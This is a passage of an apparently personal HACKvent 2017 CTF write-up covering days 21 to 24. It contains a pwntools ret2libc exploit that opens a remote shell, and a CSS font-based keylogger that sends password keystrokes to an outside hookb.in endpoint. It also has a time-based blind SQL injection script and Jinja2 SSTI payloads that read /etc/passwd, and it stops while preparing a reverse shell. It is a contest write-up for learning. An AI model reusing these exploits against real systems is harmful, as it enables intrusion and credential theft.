buf += pack("<Q", 0x400803)                 # pop rdi; ret;
buf += pack("<Q", 0x7ffff7b9f917)           # /bin/sh
buf += pack("<Q", 0x7ffff7a77d60)           # address of system()
buf += "\n2\n"

f = open("in.txt", "w")
f.write(buf)

Don’t forget to disable ASLR when running the local PoC.

sh-4.4$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
0
sh-4.4$ python local.py 
sh-4.4$ (cat in.txt ; cat) | ./tamagotchi 
°º¤ø,¸¸,ø¤º°`°º¤ø,¸,ø¤°º¤ø,¸¸,ø¤º°`°º¤ø,¸
°º¤ø,¸¸,ø¤º°  TAMAGOTCHI   ¸¸,ø¤º°`°º¤ø,¸
°º¤ø,¸¸,ø¤º°`°º¤ø,¸,ø¤°º¤ø,¸¸,ø¤º°`°º¤ø,¸

                __O__
              .'     '.
            .'         '.
           .  _________  .
           : |   .-.   | :
          :  |  ( - )  |  :      - ohai! pls food! :D
          :  |   " "   |  :
          :  |_________|  :
           |             |
           '   O     O   '
            ',    O    ,'
              '.......        | simple challenge by muffinx (twitter.com/muffiniks)

[MENU]
1.) eat
2.) bye
[ch01c3]> 
[f00d]> 
[+] nom nom nom 
[ch01c3]> 
[+] bye bye
id
uid=1000(mcia) gid=100(users) groups=100(users)

This was pretty easy so far, as I disabled ASLR on my machine. But on the remote server ASLR is enabled. This means I had to find a leak to calculate the libc_base address. I followed tutorial #3 to achieve this step. As the libc.so which is used on the server was provided, I could find all needed offsets from there. I passed a pointer to the puts() function and printed this address. Now I had the remote address of this function and because I knew the offset of the puts() function, I could calculate the libc_base address of the remote system. I used pwntools because it makes exploitation much easier.

import sys
from pwn import *
from struct import *

#r = process("./tamagotchi")
r = remote("challenges.hackvent.hacking-lab.com", 31337)

rip_offset = 216                                # offset to RIP
rop = 0x400803                                  # pop rdi; ret;
puts_plt = 0x4004b0                             # gdb disass main               - <+55>:    call   0x4004b0 <puts@plt>
main = 0x4006ca                                 # Address of main function in tamagotchi; so we can jump back to the choice after getting the address

puts_got = 0x601018                             # Offset to got in tamagotchi file                      --> objdump -R tamagotchi | grep puts
puts_off = 0x078460                             # Offset to puts() function     - provided libc.so      --> readelf -s libc.so | grep puts
system_off = 0x47dc0                            # system offset in libc         - provided libc.so      --> readelf -s libc.so | grep system
bin_sh_off  = 0x1a3ee0                          # shell offset in /bin/sh       - provided in libc.so   --> objdump -s libc.so | grep /bin/sh

# Buffer to get the libc_base address
buf_leak = "A"*rip_offset                           
buf_leak += pack("<Q", rop)       
buf_leak += pack("<Q", puts_got)
buf_leak += pack("<Q", puts_plt)
buf_leak += pack("<Q", main)

# Stage 1: Read the libc_base address
print r.recvuntil("[ch01c3]>")
r.sendline("1")
print r.recvuntil("[f00d]>")
r.sendline(buf_leak)
print r.recvuntil("[ch01c3]>")
r.sendline("2")
print r.recvuntil("[+] bye bye\n")

# Calc new addresses
puts_got_val = u64(r.recv(6)+"\x00"*2)
libc_base = (puts_got_val-puts_off)
system = libc_base + system_off
bin_sh = libc_base + bin_sh_off

print("[+] Found libc_base address at: 0x%08x" % libc_base)
print("[+] system() at: 0x%08x" % system)
print("[+] /bin/sh at: 0x%08x" % bin_sh)

# Buffer to get Command Execution 
buf_rce = "A"*rip_offset
buf_rce += pack("<Q", rop)
buf_rce += pack("<Q", bin_sh)
buf_rce += pack("<Q", system)

# Stage 2 -> pwn
print r.recvuntil("[ch01c3]>")
r.sendline("1")
print r.recvuntil("[f00d]>")
r.sendline(buf_rce)
print r.recvuntil("[ch01c3]>")
r.sendline("2")
print r.recvuntil("[+] bye bye\n")
#r.sendline("id")
#print(r.recv())
r.interactive()

I documented the script to make it understandable. The first part was to find the base_libc address, then the exploit calls the main() function of tamagotchi again, so I could get command execution with the obtained address. Here is a copy of the execution flow:

$ python sol.py 
[+] Opening connection to challenges.hackvent.hacking-lab.com on port 31337: Done
°º¤ø,¸¸,ø¤º°`°º¤ø,¸,ø¤°º¤ø,¸¸,ø¤º°`°º¤ø,¸
°º¤ø,¸¸,ø¤º°  TAMAGOTCHI   ¸¸,ø¤º°`°º¤ø,¸
°º¤ø,¸¸,ø¤º°`°º¤ø,¸,ø¤°º¤ø,¸¸,ø¤º°`°º¤ø,¸

                __O__
              .'     '.
            .'         '.
           .  _________  .
           : |   .-.   | :
          :  |  ( - )  |  :      - ohai! pls food! :D
          :  |   " "   |  :
          :  |_________|  :
           |             |
           '   O     O   '
            ',    O    ,'
              '.......        | simple challenge by muffinx (twitter.com/muffiniks)

[MENU]
1.) eat
2.) bye
[ch01c3]>
 
[f00d]>
 
[+] nom nom nom 
[ch01c3]>
 
[+] bye bye

[+] Found libc_base address at: 0x7f1bd5bd8000
[+] system() at: 0x7f1bd5c1fdc0
[+] /bin/sh at: 0x7f1bd5d7bee0

°º¤ø,¸¸,ø¤º°`°º¤ø,¸,ø¤°º¤ø,¸¸,ø¤º°`°º¤ø,¸
°º¤ø,¸¸,ø¤º°  TAMAGOTCHI   ¸¸,ø¤º°`°º¤ø,¸
°º¤ø,¸¸,ø¤º°`°º¤ø,¸,ø¤°º¤ø,¸¸,ø¤º°`°º¤ø,¸

                __O__
              .'     '.
            .'         '.
           .  _________  .
           : |   .-.   | :
          :  |  ( - )  |  :      - ohai! pls food! :D
          :  |   " "   |  :
          :  |_________|  :
           |             |
           '   O     O   '
            ',    O    ,'
              '.......        | simple challenge by muffinx (twitter.com/muffiniks)

[MENU]
1.) eat
2.) bye
[ch01c3]>
 
[f00d]>
 
[+] nom nom nom 
[ch01c3]>
 
[+] bye bye

[*] Switching to interactive mode
$ id
uid=1000(tamagotchi) gid=1000(tamagotchi) groups=1000(tamagotchi)
$ cd /home
$ ls
tamagotchi
$ cd tamagotchi
$ ls
flag  tamagotchi
$ cat flag
HV17-pwn3d-t4m4g0tch3y-thr0ugh-f00d
$  

HV17-pwn3d-t4m4g0tch3y-thr0ugh-f00d


Day 22: frozen flag (Author: HaRdLoCk)

 


Description

todays flag is frozen. its quite cold in santas house at the north pole.

can you help him to unfreeze it?

get the frozen flag here

Solution
Running the PEiD Krypto Analyzer showed that the ICE Cipher is used.

ICE [long] :: 000086C0 :: 0040A0C0
Referenced at 004014F5
Referenced at 00401538
Referenced at 00401581
Referenced at 004015CA

This link has a lot of useful information and different implementations on the ICE Cipher: http://www.darkside.com.au/ice/

I compared the C implementation with the disassembled code in Hopper and could find various similarities. sub_401811 looks like the encrypt function:

The encrypt function is called in sub_401ce9:

Solution 1 – Binary patching

I compared the disassembled file and the C implementation further and found that the decrypt function is also embedded in frozen.exe, although it is not used.

So, instead of calling the encrypt function at sub_401811 from the sub_401ce9, I just patches the binary to call the decrypt function sub_401937. This modification is done at the address 0x401e67.

$ mv HV17-flag encrypted_flag
$ wine frozen_patched.exe encrypted_flag
$ cat HV17-flag 
HV17-9VmF-xULb-fRVU-pvgb-KhZo

HV17-9VmF-xULb-fRVU-pvgb-KhZo

Solution 2 – Modify Java implementation

Before the encrypt function is called, the string “ice-cold” is compiled. This looks like the key which is used to encrypt the file. I tried to use the given C & Java implementations with this key, but it didn’t work at first. But investigating further and implementing my own main-function in the Java IceKey.java file reconstructed the flag.

public static void main (String args[]) {
	if (args.length < 2) {
		System.out.println("[!!] Please provide encrypted key and key!");
		System.out.println("<filename> <key>");
		return;
	}

	String filename = args[0];
	byte[] key = args[1].getBytes();
	System.out.println("[+] Decrypting '" + filename + "' with the key '" + args[1] + "'\n...");

	//init
	IceKey i = new IceKey(1);
	i.set(key);

	try {
		//Get file content
		Path path = Paths.get(filename);
		byte[] fileContents =  Files.readAllBytes(path);
		byte[] plaintext = new byte[fileContents.length];

		//Decrypt
		String decryptedFlag = "";
		for (int z = 0; z < fileContents.length; z+=8) {
			byte [] tmp = new byte[8];

			for(int x = z; x < z+8; x++) {
			    tmp[x-z] = fileContents[x];
			}
			i.decrypt(tmp, plaintext);

			decryptedFlag += new String(plaintext, "UTF-8").replaceAll("\n", "");
		}
		System.out.println("--> " + decryptedFlag + "\n");

	} catch (Exception e) {
		System.out.println("[!!] Something went wrong:");
		e.printStackTrace();
		return;
	}
}

Run it:

$ javac IceKey.java && java IceKey ../HV17-flag "ice-cold"
[+] Decrypting '../HV17-flag' with the key 'ice-cold'
...
--> HV17-9VmF-xULb-fRVU-pvgb-KhZo

HV17-9VmF-xULb-fRVU-pvgb-KhZo


Day 23: only perl can parse Perl (Author: M.)

… but there is always one more way to approach things!


Description

(in doubt, use perl5.10+ on *nix)

get your flag here

Solution
First I deobfuscated the perl file:

perl -MO=Deparse -l ./onlyperl.pl

Then I worked with the perl debugger and got this:

main::((eval 9)[./onlyperl.pl:3]:1):
1: ;print("Password:\n");@a=unpack("C*",,);@b=unpack("C*",,);@b=unpack("C∗",X);@c=unpack("C*",scalar <>);print(chr((b[b[_]-a[a[_]+c[c[_%8]+0x100)&0xFF)) for(0..$#b);print "\nDecryption done, are you happy now?\n";

I made it a bit more readable manually and got this file:

#!/usr/bin/env perl

$, = "\273\000\000\200\267\cZ\cAMC\201\373\cN\cC|\364\363\202L\364^M\245\333M\367\202L\371D\200l\375G\371A\367]N\213K]N\205\200l\367\201L\371D\200l\315s\\NE8\"\363\257L\364CM\245'M\367\257L\371D\200l\375G\371A\367BI\213KBI\205\200l\367\201L\371D\200l\315s]IH8\cN|\226\363MM\307\301\275L\304\275\376E\273\276\305\256O\302_N\315\244\303\305\206\307\302CO\304\275\376H\273\276\305\256\177\302\\I\305\301\275L\cK\314\263SM1\235\367\275L\371D\200l\367\201L\371D\200l\371\cA\200l\366MM\304\225HgM}M\cNt\2061\271\216MMM\@GiYXA\cP\cF\cP\cQ\\\cO\037\n\cK\f\cU\a\cPMVUYXA\$,1]\037\cP\cZ\034B[^\257\326T\e\cU\351\cBg\cW\302\cT\311\345\363\035X\265i\231\cK2\261\256\252\cB\325\cR\360)\210\000\331\eJ\224\251\263v\342\cD\334SR\216\320\254Y\352\374\330L\327\376\cC\205\@%\241\326X\305\cK\266-\267\272\354\221\362\350\"\240U\203\244\333\340\256\cO!\347m>\264\270W\262\366n\343\037/\225]OM\332\265\376e\321}6\233\cVgDa\373\cN\261^\375F\210\337\034 f\222\363#'3\252\253\cY\322\257\cT\215\214\201\351\cQ\314\a\302B\234\247,\276o\275b\226.\335\211\336\310\2320\325\301\361\212\217dQu\3571~\260\r\274\3565\243\cXH\f_\324\365\245\242w\317`\cH\220\$\200<\\)P9\202\300(:\323\312|qi\367\3537\206\2358\277r\t\316\313\341\236\371\250C&\cZy=\355\255\344j\cW\cSV\271[\177pE*\306Z?4\304\364\cAGA\246\360\231\345;\204KT\307c\213\cE\303\223\cU\346\230z\n2\227\237\cB\207x\cP+k\315h{\370\cFs\372\cRN\035\036Il\311t\273";
$X = qq/\223&\305>}"\372BF~\370\cH\311~\364\363?\223\360FZf\345H\374\177A\362BAi\370F4>\354]\cO\202F_(Zyj\253\213G\3764\207h\330l\rN=i*\232\267N\361H\375\345 F\374c\@\346Bpp\345R\0007\243"~\221>\cZ\347cu_9\204F\cA>\205\037\320cj5\cA;\cKlF6I9\314\301n<\303\362\cE\354\302\301\312ZD\cHXC\206\243\302\300\215\267\205?[\312}\354A\371\201\274\254\205\277\cV\343/;

# Show a prompt
print("Password:\n");
@a=unpack("C*",$,);
@b=unpack("C*",$X);

# This line reads the data
@c=unpack("C*",scalar <>);

print(chr(($b[$_]-$a[$_]+$c[$_%8]+0x100)&0xFF)) for(0..$#b);

# Print done
print "\nDecryption done, are you happy now?\n";
printf("%s ", ($b[$_]-$a[$_]+$c[$_%8]+0x100)&0xFF) for(0..$#b);

I found the password manually, because I am very unfamiliar with perl! :) I noticed that when I change a character, the output (which I am printing at the end) changes as well. I started to try with alphanumeric input. First success was when I entered ‘p’ as the password, then the first character from the output was “72” which is the char code for “H”. Going further like that I’ve found the password “p0lyglot”:

$ perl tmp.pl 
Password:
p0lyglot
HV17-this-is-not-what-you-are-looking-for
Are you sure that only perl can parse Perl?
Microsoft's ye old shell does not even know /usr/bin/perl.

Decryption done, are you happy now?

A polyglot is a program which can be run with different interpreters/programs. And the hint talks about the old Microsoft shell. This must be DOS. But to be able to run the program I had to rename the file extension to “com”.

Additionally to the perl password we need a dos code. The program didn’t return anything if the dos code was not 5 characters long. The code must be 5 characters then! I tried brute force the password with a script. But I failed to write the script, as dosbox only supports a limit set of commands and I could not run a loop. By pure luck I entered “AAAAA” as code, and the program returned something which looked very similar to a flag!

Again manually playing with the dos code password I ended up with the right one: “S4n7A”.

HV17-Ovze-IUGF-W2xs-x2uE-pVRU


Day 24: Chatterbox (Author: pyth0n33)

… likes to talk


Description
I love to chat secure and private.

For this I mostly use http://challenges.hackvent.hacking-lab.com:1087.

It’s easy to create a private chat and start chatting without a registration.

Hint #1: the admin is a lazy clicker boy and only likes <a href=”…”></a>
Hint #2: As a passionate designer, the admin loves different fonts.
Hint #3: For step 2: I’d better be my own CA.
Hint #4: For step 2: It’s all about the state
Hint #5: For step 3: python programmers don’t need {{ ninjas }}

Solution
This challenge was super hard. There were three stages until the flag was revealed and each stage could have been a final challenge. The first solver of this challenge came only after several hints and like 48 hours. I was very frustrated at the beginning as this was on Christmas Eve and I was looking forward to finally be released of the HACKvent stress. Because nobody solved this challenge in time they changed the rules for this challenge and the first 10 solvers would get full points. In the end I could jump to the 8th place in the global ranking, because I was solver number 7 of this challenge! :)

Stage 1:

The website to chat contained several things which were suspicious. There was a working chat, you could create your own secret chat with a CSS stylesheet, a form to contact the administrator, an API which returned PHP errors, etc, etc. With the description of the challenge and hint #1 I assumed that I had to create my own chat and invite the admin over the feedback form to get him into my chat. I copied the original CSS file and changed the background-url to hookbin, so I could verify if somebody would click on my link:

body {
    background-image: url("https://hookb.in/vew26lmB");
}

And very well, some seconds/minutes after I sent the clickable link(<a href=”url-to-secret-chat”>clickme</a>) to the admin I registered a call from the IP address of challenges.hackvent.hacking-lab.com on my hookb.in backend.

With hint #2 I found this vulnerability: http://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html This is basically a keylogger implemented in CSS! I added all alphanumeric characters and some special characters to the CSS and then tried to hook this PoC font to the chat input field. But the admin was not typing anything. Then I had the idea to hook it to the password input field from the the password form and it worked!

body {
    background-image: url("https://hookb.in/vew26lmB");
}

...

@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?A);
 unicode-range:U+0041;
}
@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?B);
 unicode-range:U+0042;
}
@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?C); 
 unicode-range:U+0043;
}
@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?D); 
 unicode-range:U+0044;
}
@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?E); 
 unicode-range:U+0045;
}
@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?F); 
 unicode-range:U+0046;
}
@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?G); 
 unicode-range:U+0047;
}
@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?H); 
 unicode-range:U+0048;
}
@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?I); 
 unicode-range:U+0049;
}
@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?J); 
 unicode-range:U+004A;
}
@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?K); 
 unicode-range:U+004B;
}
@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?L); 
 unicode-range:U+004C;
}
@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?M); 
 unicode-range:U+004D;
}
@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?N); 
 unicode-range:U+004E;
}
@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?O); 
 unicode-range:U+004F;
}
@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?P); 
 unicode-range:U+0050;
}
@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?Q); 
 unicode-range:U+0051;
}
@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?R); 
 unicode-range:U+0052;
}
@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?S); 
 unicode-range:U+0053;
}
@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?T); 
 unicode-range:U+0054;
}
@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?U); 
 unicode-range:U+0055;
}
@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?V); 
 unicode-range:U+0056;
}
@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?W); 
 unicode-range:U+0057;
}
@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?X); 
 unicode-range:U+0058;
}
@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?Y); 
 unicode-range:U+0059;
}
@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?Z); 
 unicode-range:U+005A;
}
@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?_exec_); 
 unicode-range:U+0060;
}
@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?a); 
 unicode-range:U+0061;
}
@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?b); 
 unicode-range:U+0062;
}
@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?c); 
 unicode-range:U+0063;
}
@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?d); 
 unicode-range:U+0064;
}
@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?e); 
 unicode-range:U+0065;
}
@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?f); 
 unicode-range:U+0066;
}
@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?g); 
 unicode-range:U+0067;
}
@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?h); 
 unicode-range:U+0068;
}
@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?i); 
 unicode-range:U+0069;
}
@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?j); 
 unicode-range:U+006A;
}
@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?k); 
 unicode-range:U+006B;
}
@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?l); 
 unicode-range:U+006C;
}
@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?m); 
 unicode-range:U+006D;
}
@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?n); 
 unicode-range:U+006E;
}
@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?o); 
 unicode-range:U+006F;
}
@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?p); 
 unicode-range:U+0070;
}
@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?q); 
 unicode-range:U+0071;
}
@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?r); 
 unicode-range:U+0072;
}
@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?s); 
 unicode-range:U+0073;
}
@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?t); 
 unicode-range:U+0074;
}
@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?u); 
 unicode-range:U+0075;
}
@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?v); 
 unicode-range:U+0076;
}
@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?w); 
 unicode-range:U+0077;
}
@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?x); 
 unicode-range:U+0078;
}
@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?y); 
 unicode-range:U+0079;
}
@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?z); 
 unicode-range:U+007A;
}
@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?_space_); 
 unicode-range:U+0020;
}
@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?_quote_); 
 unicode-range:U+0021;
}
@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?_escl_); 
 unicode-range:U+0022;
}
@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?_hash_); 
 unicode-range:U+0023;
}
@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?_dollar_); 
 unicode-range:U+0024;
}
@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?_per_); 
 unicode-range:U+0025;
}
@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?_and_); 
 unicode-range:U+0026;
}
@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?_squot_); 
 unicode-range:U+0027;
}
@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?_br1_); 
 unicode-range:U+0028;
}
@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?_br2_); 
 unicode-range:U+0029;
}
@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?_mult_); 
 unicode-range:U+002A;
}
@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?_plus_); 
 unicode-range:U+002B;
}
@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?_comma_); 
 unicode-range:U+002C;
}
@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?_dash_); 
 unicode-range:U+002D;
}
@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?_dot_); 
 unicode-range:U+002E;
}
@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?_slash_); 
 unicode-range:U+002F;
}
@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?0); 
 unicode-range:U+0030;
}
@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?1); 
 unicode-range:U+0031;
}
@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?2); 
 unicode-range:U+0032;
}
@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?3); 
 unicode-range:U+0033;
}
@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?4); 
 unicode-range:U+0034;
}
@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?5); 
 unicode-range:U+0035;
}
@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?6); 
 unicode-range:U+0036;
}
@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?7); 
 unicode-range:U+0037;
}
@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?8); 
 unicode-range:U+0038;
}
@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?9); 
 unicode-range:U+0039;
}
@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?_dp_); 
 unicode-range:U+003A;
}
@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?_sp_); 
 unicode-range:U+003B;
}
@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?_kl_); 
 unicode-range:U+003C;
}
@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?_equal_); 
 unicode-range:U+003D;
}
@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?_gr_); 
 unicode-range:U+003E;
}
@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?_question_); 
 unicode-range:U+003F;
}
@font-face{
 font-family:poc;
 src: url(https://hookb.in/vew26lmB/?_at_); 
 unicode-range:U+0040;
}

#password{
 font-family:poc;
}

This gave me the password “Christmas2017” which led to the link “http://challenges.hackvent.hacking-lab.com:1088/?key=E7g24fPcZgL5dg78” of stage 2!

Stage 2:

Again, there were many distraction points. First I assumed it to be a command injection. As there were tools like “ping” used on the website. After hint #3 (Better be my own CA) was released I knew I had to focus on the CSR tool. There you could submit a CSR and a CA certificate was generated for you.

I fuzzed the input fields of the certificate and found out that the server will return an error 500 if the state field contained a quote (‘)! I tried to reproduce it on my own computer with openssl and it worked. So, the CA must parse the CSR and do something with it. Playing with the State field inputs revealed that it was an timebased blind SQL-injection. Only problem there was, that it had to be embedded in a valid CSR! I tried to write a tamper script for sqlmap which generates a CSR. But unfortunately this didn’t work, because sqlmap generates payloads which are too long for the State field! :( Solution to this was to write my own time-based blind sql injection script. It was a lot of work, but implementing it was actually fun and I’ve learned a lot!

To work faster and find the right SQL query I wrote a small script. With this I could just pass the SQL query as parameter and it would automatically generate the CSR and do the post request.

#!/bin/sh

openssl genrsa -out tmp.key 1024
openssl req -new --key tmp.key -out tmp.csr -subj 
"/C=CH/ST=$1/L=1337/O=1337/OU=1337/CN=1337/emailAddress=1337"

CSR=`cat tmp.csr`
CSR=$(php -r  "echo rawurlencode('$CSR');")
URL="http://challenges.hackvent.hacking-lab.com:1088/php/api.php?function=csr&argument=&key=E7g24fPcZgL5dg78"

curl -i -X POST $URL -d "csr=$CSR"|sed "s/<br>/\\n/g"

My sql query to trigger the vulnerability was:

"'or (select sleep(1) from information_schema.tables) or'"

If the request took longer than 1 second then the query was successful! I wrote a script which first dumped the database name, then the tables, after that the columns and finally the content.

import os
import urllib
import subprocess
import timeit
import requests

URL="http://challenges.hackvent.hacking-lab.com:1088/php/api.php?function=csr&argument=&key=E7g24fPcZgL5dg78"
CHARSET="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-$!#@-=:?&_"


def make_request(payload):
	os.system('openssl req -new --key tmp.key -out tmp.csr -subj "/C=CH/ST='+payload+'/L=1337/O=1337/OU=1337/CN=1337/emailAddress=1337"')
	csr = subprocess.check_output(['cat', 'tmp.csr'])
	r = requests.post(URL, data={"csr": csr})
	t = r.elapsed.total_seconds()

	if t > 1:
		return True
	else:
		return False


def verify_table(table):
	payload = "' or (select sleep(1) from hv24_2."+table+") or '"
	return payload


def find(start_pos, payload, title):
	print("[+] Looking for " + title + " ...")	
	name = ""

	for x in CHARSET[start_pos:-1]:
		payl = payload.replace("XXX%", name+x+"%")
		if make_request(payl):
			name += x
			break
		if name:
			print(name)

	#If nothing found after first loop, we already dumped all the information
	if not name:
		return "___done___"


	n = len(name)
	while True:
		for x in CHARSET:
			payl = payload.replace("XXX%", name+x+"%")
			if make_request(payl):
				name += x
				break
		print(name)
		if n == len(name):
			break
		else:
			n = len(name)

	print("[+] Found " + title + ": " + name)
	return name


# Only once, generate key
os.system('openssl genrsa -out tmp.key 1024')

# Find databases
i = 0
last_found=""
while (i < len(CHARSET)):
	if last_found:
		i = CHARSET.index(last_found[0])+1
	last_found = find(i, "'or(select sleep(1)from information_schema.tables WHERE table_schema like binary 'XXX%')or'", "Database")
	if last_found == "___done___":
		break
	i += 1

# find Tables for hv24_2
i = 0
last_found=""
while (i < len(CHARSET)):
	if last_found:
		i = CHARSET.index(last_found[0])+1
	last_found = find(i, "'or(select sleep(1)from information_schema.tables WHERE table_schema = 'hv24_2' && table_name like binary 'XXX%')or'", "Table")
	if last_found == "___done___":
		break
	i += 1


# find columns for certificates & keystorage
i = 0
last_found=""
while (i < len(CHARSET)):
	if last_found:
		i = CHARSET.index(last_found[0])+1
	last_found = find(i, "'or(select sleep(1)from information_schema.columns WHERE table_name='certificates'&&column_name like binary 'XXX%')or'", "Column")
	if last_found == "___done___":
		break
	i += 1

i = 0
last_found=""
while (i < len(CHARSET)):
	if last_found:
		i = CHARSET.index(last_found[0])+1
	last_found = find(i, "'or(select sleep(1)from information_schema.columns WHERE table_name='keystorage'&&column_name like binary 'XXX%')or'", "Column")
	if last_found == "___done___":
		break
	i += 1


# get private_key from keystorage! :)
i = 0
while (i < len(CHARSET)):
	find(i, " ' or ( select sleep(1) from hv24_2.keystorage WHERE private_key like binary '%1089XXX%' ) or ' ", "DATA")
	if last_found == "___done___":
		break
	i += 1

With this I have found the database “hv24_2” with the tables “certificates” and “keystorage”. In the table “keystorage” is the column “private_key” which contained the key for stage 3:

http://challenges.hackvent.hacking-lab.com:1089/?key=W5zzcusgZty9CNgw

Stage 3:

Stage 3 is a simple, yet unfinished, webshop where you can buy crypto-currency t-shirts.

Hint #5 (For step 3: python programmers don’t need {{ ninjas }}) was very helpful. After googling a bit I found the Flask framework which leverages the Jinga2 engine and it uses curly brackets {{ }}! Jinga2 <-> ninja. :) If not implemented correctly Server Side Template Injections (SSTI) is possible:

https://nvisium.com/blog/2015/12/07/injecting-flask/
https://nvisium.com/blog/2016/03/09/exploring-ssti-in-flask-jinja2/

Now this stage was pretty straight forward and I solved it much faster than 1 & 2. First I was able to read out the config.items(), but this did not contain anything useful.

http://challenges.hackvent.hacking-lab.com:1089/{{config.items()}}/99?key=W5zzcusgZty9CNgw

Later I’ve found the used classes:

http://challenges.hackvent.hacking-lab.com:1089/{{''.__class__.__mro__[1].__subclasses__()}}/99?key=W5zzcusgZty9CNgw

This revealed all the classes I could leverage for the attack. First the class 302 <class ‘click.utils.LazyFile’> got my attention. I could read the /etc/passwd file with this URL:

http://challenges.hackvent.hacking-lab.com:1089/{{''.__class__.__mro__[1].__subclasses__()[302]("/etc/passwd").read()}}/99?key=W5zzcusgZty9CNgw


Unfortunately I did not find another class which led me to list directories and content. Thanks to the passwd file I knew, that there is a /home/hv24 directory. But I could not guess the flag file. I had to look further…

Then I found: 37 <class ‘subprocess.Popen’>! With popen it is possible to run shell commands on the system! I was not able to read the outputs from the commands, therefore I went for a reverse shell! :)

On my server I ran netcat to listen for incoming connections:

$  nc -l -p 1337 -vvv
listening on [any] 1337 ...

